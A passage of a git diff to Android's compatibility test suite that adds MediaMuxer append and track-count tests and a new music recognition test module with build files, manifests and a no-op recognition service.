+                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp", 2, "mp4"},
             });
         }
 
-        public TestApi(int outFormat, String srcFile, String testName) {
+        public TestApi(int outFormat, String srcFile, int trackCount, String testName) {
             mOutFormat = outFormat;
             mSrcFile = srcFile;
+            mTrackCount = trackCount;
         }
 
         private native boolean nativeTestSetLocation(int format, String srcPath, String outPath);
@@ -471,6 +476,12 @@
         private native boolean nativeTestSetOrientationHint(int format, String srcPath,
                 String outPath);
 
+        private native boolean nativeTestGetTrackCount(String srcPath, String outPath,
+                int outFormat, int trackCount);
+
+        private native boolean nativeTestGetTrackFormat(String srcPath, String outPath,
+                int outFormat);
+
         private void verifyLocationInFile(String fileName) {
             if (mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4 &&
                     mOutFormat != MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) return;
@@ -697,6 +708,18 @@
             assertTrue(nativeTestSetOrientationHint(mOutFormat, mInpPath, mOutPath));
             verifyOrientation(mOutPath);
         }
+
+        @Test
+        public void testGetTrackCountNative() {
+            Assume.assumeTrue(Build.VERSION.SDK_INT > Build.VERSION_CODES.R);
+            assertTrue(nativeTestGetTrackCount(mInpPath, mOutPath, mOutFormat, mTrackCount));
+        }
+
+        @Test
+        public void testGetTrackFormatNative() {
+            Assume.assumeTrue(Build.VERSION.SDK_INT > Build.VERSION_CODES.R);
+            assertTrue(nativeTestGetTrackFormat(mInpPath, mOutPath, mOutFormat));
+        }
     }
 
     /**
@@ -949,6 +972,99 @@
     }
 
     /**
+     * Tests whether appending audio and/or video data to an existing media file works in all
+     * supported append modes.
+     */
+    @LargeTest
+    @RunWith(Parameterized.class)
+    public static class TestSimpleAppend {
+        private static final String LOG_TAG = MuxerTestHelper.class.getSimpleName();
+        private String mSrcFile;
+        private String mInpPath;
+        private String mOutPath;
+        private int mOutFormat;
+        private int mTrackCount;
+
+        static {
+            System.loadLibrary("ctsmediav2muxer_jni");
+        }
+
+        @Before
+        public void prologue() throws IOException {
+            mInpPath = WorkDir.getMediaDirString() + mSrcFile;
+            mOutPath = File.createTempFile("tmp", ".out").getAbsolutePath();
+        }
+
+        @After
+        public void epilogue() {
+            new File(mOutPath).delete();
+        }
+
+        @Parameterized.Parameters(name = "{index}({3})")
+        public static Collection<Object[]> input() {
+            return Arrays.asList(new Object[][]{
+                    {MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4,
+                            "bbb_stereo_48kHz_128kbps_aac.mp4", 1, "mp4"},
+                    {MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4,
+                            "bbb_1920x1080_avc_high_l42.mp4", 1, "mp4"},
+                    {MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4,
+                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp", 2, "mp4"},
+                    {MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4,
+                            "bbb_cif_768kbps_30fps_mpeg4_mono_16kHz_20kbps_amrwb.3gp", 2, "mp4"},
+            });
+        }
+
+        public TestSimpleAppend(int outFormat, String srcFile, int trackCount, String testName) {
+            mOutFormat = outFormat;
+            mSrcFile = srcFile;
+            mTrackCount = trackCount;
+        }
+
+        private native boolean nativeTestSimpleAppend(int outFormat, String srcPath,
+                String outPath);
+
+        private native boolean nativeTestAppendGetTrackCount(String srcPath, int trackCount);
+
+        private native boolean nativeTestNoSamples(int outFormat, String srcPath, String outPath);
+
+        private native boolean nativeTestIgnoreLastGOPAppend(int outFormat, String srcPath,
+                String outPath);
+
+        private native boolean nativeTestAppendGetTrackFormat(String srcPath);
+
+        @Test
+        public void testSimpleAppendNative() {
+            Assume.assumeTrue(Build.VERSION.SDK_INT > Build.VERSION_CODES.R);
+            assertTrue(nativeTestSimpleAppend(mOutFormat, mInpPath, mOutPath));
+        }
+
+        @Test
+        public void testAppendGetTrackCountNative() {
+            Assume.assumeTrue(Build.VERSION.SDK_INT > Build.VERSION_CODES.R);
+            assertTrue(nativeTestAppendGetTrackCount(mInpPath, mTrackCount));
+        }
+
+        @Test
+        public void testAppendNoSamplesNative() {
+            Assume.assumeTrue(Build.VERSION.SDK_INT > Build.VERSION_CODES.R);
+            assertTrue(nativeTestNoSamples(mOutFormat, mInpPath, mOutPath));
+        }
+
+        @Test
+        public void testIgnoreLastGOPAppend() {
+            Assume.assumeTrue(Build.VERSION.SDK_INT > Build.VERSION_CODES.R);
+            assertTrue(nativeTestIgnoreLastGOPAppend(mOutFormat, mInpPath, mOutPath));
+        }
+
+        @Test
+        public void testAppendGetTrackFormatNative() {
+            Assume.assumeTrue(Build.VERSION.SDK_INT > Build.VERSION_CODES.R);
+            assertTrue(nativeTestAppendGetTrackFormat(mInpPath));
+        }
+    }
+
+
+    /**
      * Audio, Video Codecs support a variety of file-types/container formats. For example,
      * AAC-LC supports MPEG4, 3GPP. Vorbis supports OGG and WEBM. H.263 supports 3GPP and WEBM.
      * This test takes the output of a codec and muxes it in to all possible container formats.
@@ -966,7 +1082,7 @@
             System.loadLibrary("ctsmediav2muxer_jni");
         }
 
-        public TestSimpleMux(String mime, String srcFile) {
+        public TestSimpleMux(String mime, String srcFile, String testName) {
             mMime = mime;
             mSrcFile = srcFile;
         }
@@ -993,38 +1109,43 @@
         private native boolean nativeTestSimpleMux(String srcPath, String outPath, String mime,
                 String selector);
 
-        @Parameterized.Parameters(name = "{index}({0})")
+        private native boolean nativeTestSimpleAppend(String srcPath, String outPath, String mime,
+                                                      String selector);
+
+        @Parameterized.Parameters(name = "{index}({2})")
         public static Collection<Object[]> input() {
             return Arrays.asList(new Object[][]{
                     // Video Codecs
                     {MediaFormat.MIMETYPE_VIDEO_H263,
-                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp"},
+                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp", "h263"},
                     {MediaFormat.MIMETYPE_VIDEO_AVC,
-                            "bbb_cif_768kbps_30fps_avc_stereo_48kHz_192kbps_vorbis.mp4"},
+                            "bbb_cif_768kbps_30fps_avc_stereo_48kHz_192kbps_vorbis.mp4", "avc"},
                     {MediaFormat.MIMETYPE_VIDEO_HEVC,
-                            "bbb_cif_768kbps_30fps_hevc_stereo_48kHz_192kbps_opus.mp4"},
+                            "bbb_cif_768kbps_30fps_hevc_stereo_48kHz_192kbps_opus.mp4", "hevc"},
                     {MediaFormat.MIMETYPE_VIDEO_MPEG4,
-                            "bbb_cif_768kbps_30fps_mpeg4_mono_16kHz_20kbps_amrwb.3gp"},
+                            "bbb_cif_768kbps_30fps_mpeg4_mono_16kHz_20kbps_amrwb.3gp", "mpeg4"},
                     {MediaFormat.MIMETYPE_VIDEO_VP8,
-                            "bbb_cif_768kbps_30fps_vp8_stereo_48kHz_192kbps_vorbis.webm"},
+                            "bbb_cif_768kbps_30fps_vp8_stereo_48kHz_192kbps_vorbis.webm", "vp8"},
                     {MediaFormat.MIMETYPE_VIDEO_VP9,
-                            "bbb_cif_768kbps_30fps_vp9_stereo_48kHz_192kbps_opus.webm"},
+                            "bbb_cif_768kbps_30fps_vp9_stereo_48kHz_192kbps_opus.webm", "vp9"},
                     // Audio Codecs
                     {MediaFormat.MIMETYPE_AUDIO_AAC,
-                            "bbb_stereo_48kHz_128kbps_aac.mp4"},
+                            "bbb_stereo_48kHz_128kbps_aac.mp4", "aac"},
                     {MediaFormat.MIMETYPE_AUDIO_AMR_NB,
-                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp"},
+                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp", "amrnb"},
                     {MediaFormat.MIMETYPE_AUDIO_AMR_WB,
-                            "bbb_cif_768kbps_30fps_mpeg4_mono_16kHz_20kbps_amrwb.3gp"},
+                            "bbb_cif_768kbps_30fps_mpeg4_mono_16kHz_20kbps_amrwb.3gp", "amrwb"},
                     {MediaFormat.MIMETYPE_AUDIO_OPUS,
-                            "bbb_cif_768kbps_30fps_vp9_stereo_48kHz_192kbps_opus.webm"},
+                            "bbb_cif_768kbps_30fps_vp9_stereo_48kHz_192kbps_opus.webm", "opus"},
                     {MediaFormat.MIMETYPE_AUDIO_VORBIS,
-                            "bbb_cif_768kbps_30fps_vp8_stereo_48kHz_192kbps_vorbis.webm"},
+                            "bbb_cif_768kbps_30fps_vp8_stereo_48kHz_192kbps_vorbis.webm", "vorbis"},
                     // Metadata
                     {"application/gyro",
-                            "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_non_compliant.3gp"},
+                            "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_non_compliant.3gp",
+                            "gyro-non-compliant"},
                     {"application/gyro",
-                            "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_compliant.3gp"},
+                            "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_compliant.3gp",
+                            "gyro-compliant"},
             });
         }
 
@@ -1175,16 +1296,16 @@
 
         @Test
         public void testEmptyVideoTrack() {
+            if (!mMime.startsWith("video/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("video/")) continue;
                 if (!isMimeContainerPairValid(format)) continue;
                 if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
                     MediaFormat mediaFormat = new MediaFormat();
                     mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
-                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
-                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 96);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 128);
                     mediaMuxer.addTrack(mediaFormat);
                     mediaMuxer.start();
                     mediaMuxer.stop();
@@ -1197,16 +1318,20 @@
 
         @Test
         public void testEmptyAudioTrack() {
+            if (!mMime.startsWith("audio/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("audio/")) continue;
-                if (!isMimeContainerPairValid(format)) continue;
                 if (format != MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4) continue;
+                if (!isMimeContainerPairValid(format)) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
                     MediaFormat mediaFormat = new MediaFormat();
                     mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
-                    mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 12000);
-                    mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 2);
+                    if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AMR_WB)) {
+                        mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 16000);
+                    } else {
+                        mediaFormat.setInteger(MediaFormat.KEY_SAMPLE_RATE, 8000);
+                    }
+                    mediaFormat.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
                     mediaMuxer.addTrack(mediaFormat);
                     mediaMuxer.start();
                     mediaMuxer.stop();
@@ -1219,8 +1344,8 @@
 
         @Test
         public void testEmptyMetaDataTrack() {
+            if (!mMime.startsWith("application/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("application/")) continue;
                 if (!isMimeContainerPairValid(format)) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
@@ -1238,15 +1363,15 @@
 
         @Test
         public void testEmptyImageTrack() {
+            if (!mMime.startsWith("image/")) return;
             for (int format = MUXER_OUTPUT_FIRST; format <= MUXER_OUTPUT_LAST; ++format) {
-                if (!mMime.startsWith("image/")) continue;
                 if (!isMimeContainerPairValid(format)) continue;
                 try {
                     MediaMuxer mediaMuxer = new MediaMuxer(mOutPath, format);
                     MediaFormat mediaFormat = new MediaFormat();
                     mediaFormat.setString(MediaFormat.KEY_MIME, mMime);
-                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 480);
-                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 640);
+                    mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, 96);
+                    mediaFormat.setInteger(MediaFormat.KEY_WIDTH, 128);
                     mediaMuxer.addTrack(mediaFormat);
                     mediaMuxer.start();
                     mediaMuxer.stop();
diff --git a/tests/mediapc/src/android/mediapc/cts/Utils.java b/tests/mediapc/src/android/mediapc/cts/Utils.java
index 2912f5d..c4038cf 100644
--- a/tests/mediapc/src/android/mediapc/cts/Utils.java
+++ b/tests/mediapc/src/android/mediapc/cts/Utils.java
@@ -17,15 +17,13 @@
 package android.mediapc.cts;
 
 import android.os.Build;
-import android.os.SystemProperties;
 import android.util.Log;
 
 /**
  * Test utilities.
  */
 /* package private */ class Utils {
-    private static final int sPc = SystemProperties.getInt(
-                "ro.odm.build.media_performance_class", 0);
+    private static final int sPc = Build.VERSION.MEDIA_PERFORMANCE_CLASS;
 
     private static final String TAG = "PerformanceClassTestUtils";
 
diff --git a/tests/mocking/debuggable/TEST_MAPPING b/tests/mocking/debuggable/TEST_MAPPING
new file mode 100644
index 0000000..c6529b3
--- /dev/null
+++ b/tests/mocking/debuggable/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMockingDebuggableTestCases"
+    }
+  ]
+}
diff --git a/tests/musicrecognition/Android.bp b/tests/musicrecognition/Android.bp
new file mode 100644
index 0000000..1b7298a
--- /dev/null
+++ b/tests/musicrecognition/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsMusicRecognitionTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/musicrecognition/AndroidManifest.xml b/tests/musicrecognition/AndroidManifest.xml
new file mode 100644
index 0000000..7734a9b
--- /dev/null
+++ b/tests/musicrecognition/AndroidManifest.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.musicrecognition.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION" />
+
+    <!-- Attribution for MusicRecognitionManagerService. -->
+    <attribution android:tag="MusicRecognitionManagerService"
+        android:label="@string/music_recognition_manager_service"/>
+
+    <!-- Attribution for CTS MusicRecognitionService. In this test, music recognition
+    manager and service are in the same process. Otherwise this tag needs to exist
+    in a separate manifest file (in the app implementing MusicRecognitionService). -->
+    <attribution android:tag="CtsMusicRecognitionAttributionTag"
+        android:label="@string/cts_music_recognition_service"/>
+
+    <application>
+
+        <uses-library android:name="android.test.runner"/>
+
+        <service android:name=".CtsMusicRecognitionService"
+             android:label="CtsCMusicRecognitionService"
+             android:permission="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.musicrecognition.MUSIC_RECOGNITION"/>
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the MusicRecognitionManager APIs."
+         android:targetPackage="android.musicrecognition.cts">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
new file mode 100644
index 0000000..918df5a
--- /dev/null
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for MusicRecognition CTS tests.">
+  <option name="test-suite-tag" value="cts" />
+  <option name="hidden-api-checks" value="false"/>
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+
+  <!-- Only available to recents, which can't be an instant app. -->
+  <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+  <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsMusicRecognitionTestCases.apk" />
+    <option name="test-file-name" value="CtsOutsideOfPackageService.apk" />
+  </target_preparer>
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.musicrecognition.cts" />
+  </test>
+
+</configuration>
diff --git a/tests/musicrecognition/OWNERS b/tests/musicrecognition/OWNERS
new file mode 100644
index 0000000..910abcb
--- /dev/null
+++ b/tests/musicrecognition/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 830636
+
+chfrank@google.com
+joannechung@google.com
+oni@google.com
+volnov@google.com
diff --git a/tests/musicrecognition/OutsideOfPackageService/Android.bp b/tests/musicrecognition/OutsideOfPackageService/Android.bp
new file mode 100644
index 0000000..558cbdb
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsOutsideOfPackageService",
+    defaults: ["cts_defaults"],
+    sdk_version: "system_current",
+    static_libs: [
+            "androidx.annotation_annotation",
+        ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
new file mode 100644
index 0000000..88990fc
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.musicrecognition.cts2"
+    android:targetSandboxVersion="2">
+
+    <application>
+        <service android:name=".OutsideOfPackageService"
+            android:label="OutsideOfPackage"
+            android:exported="true">
+        </service>
+    </application>
+</manifest>
diff --git a/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
new file mode 100644
index 0000000..1e0608a6
--- /dev/null
+++ b/tests/musicrecognition/OutsideOfPackageService/src/android/musicrecognition/cts2/OutsideOfPackageService.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.musicrecognition.cts2;
+
+import android.media.AudioFormat;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.ParcelFileDescriptor;
+
+import androidx.annotation.NonNull;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class OutsideOfPackageService extends MusicRecognitionService {
+
+    @Override
+    public void onRecognize(@NonNull ParcelFileDescriptor stream,
+            @NonNull AudioFormat audioFormat,
+            @NonNull Callback callback) {
+        throw new RuntimeException("unexpected call to onRecognize!");
+    }
+}
diff --git a/tests/musicrecognition/TEST_MAPPING b/tests/musicrecognition/TEST_MAPPING
new file mode 100644
index 0000000..612fa47
--- /dev/null
+++ b/tests/musicrecognition/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMusicRecognitionTestCases"
+    }
+  ]
+}
diff --git a/tests/musicrecognition/res/values/strings.xml b/tests/musicrecognition/res/values/strings.xml
new file mode 100644
index 0000000..44f6432
--- /dev/null
+++ b/tests/musicrecognition/res/values/strings.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2" xmlns:tools="http://schemas.android.com/tools">
+    <!-- Attribution for MusicRecognitionManagerService. [CHAR LIMIT=NONE]-->
+    <string name="music_recognition_manager_service">Music Recognition Manager Service</string>
+    <!-- Attribution for CtsMusicRecognitionService. [CHAR LIMIT=NONE]-->
+    <string name="cts_music_recognition_service">CTS Music Recognition Service</string>
+</resources>
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
new file mode 100644
index 0000000..4813005
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.musicrecognition.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
+import android.media.AudioFormat;
+import android.media.MediaMetadata;
+import android.media.musicrecognition.MusicRecognitionService;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.google.common.io.ByteStreams;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/** No-op implementation of MusicRecognitionService for testing purposes. */
+public class CtsMusicRecognitionService extends MusicRecognitionService {
+    private static final String TAG = CtsMusicRecognitionService.class.getSimpleName();
+    public static final String SERVICE_PACKAGE = "android.musicrecognition.cts";
+    public static final ComponentName SERVICE_COMPONENT = new ComponentName(
+            SERVICE_PACKAGE, CtsMusicRecognitionService.class.getName());
+
+    private static Watcher sWatcher;
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        sWatcher.destroyed.countDown();
+    }
+
+    @Override
+    public void onRecognize(@NonNull ParcelFileDescriptor stream,
+            @NonNull AudioFormat audioFormat,
+            @NonNull Callback callback) {
+        if (sWatcher.failureCode != 0) {
+            callback.onRecognitionFailed(sWatcher.failureCode);
+        } else {
+            Log.i(TAG, "Reading audio stream...");
+            sWatcher.stream = readStream(stream);
+            Log.i(TAG, "Reading audio done.");
+            callback.onRecognitionSucceeded(sWatcher.result, sWatcher.resultExtras);
+        }
+    }
+
+    @Override
+    public @Nullable String getAttributionTag() {
+        return "CtsMusicRecognitionAttributionTag";
+    }
+
+    private byte[] readStream(ParcelFileDescriptor stream) {
+        ParcelFileDescriptor.AutoCloseInputStream fis =
+                new ParcelFileDescriptor.AutoCloseInputStream(stream);
+        try {
+            return ByteStreams.toByteArray(fis);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static Watcher setWatcher() {
+        if (sWatcher != null) {
+            throw new IllegalStateException("Set watcher with watcher already set");
+        }
+        sWatcher = new Watcher();
+        return sWatcher;
+    }
+
+    public static void clearWatcher() {
+        sWatcher = null;
+    }
+
+    public static final class Watcher {
+        private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 30_000;
+
+        public CountDownLatch destroyed = new CountDownLatch(1);
+        public int failureCode = 0;
+        public byte[] stream;
+        public MediaMetadata result;
+        public Bundle resultExtras;
+
+        public void awaitOnDestroy() {
+            await(destroyed, "Waiting for service destroyed");
+        }
+
+        private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+            try {
+                assertWithMessage(message).that(
+                        latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted while: " + message);
+            }
+        }
+    }
+}
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
new file mode 100644
index 0000000..6c92f79
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
@@ -0,0 +1,297 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.musicrecognition.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyString;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.AppOpsManager;
+import android.app.AppOpsManager.OnOpStartedListener;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaMetadata;
+import android.media.MediaRecorder;
+import android.media.musicrecognition.MusicRecognitionManager;
+import android.media.musicrecognition.RecognitionRequest;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Captor;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+/**
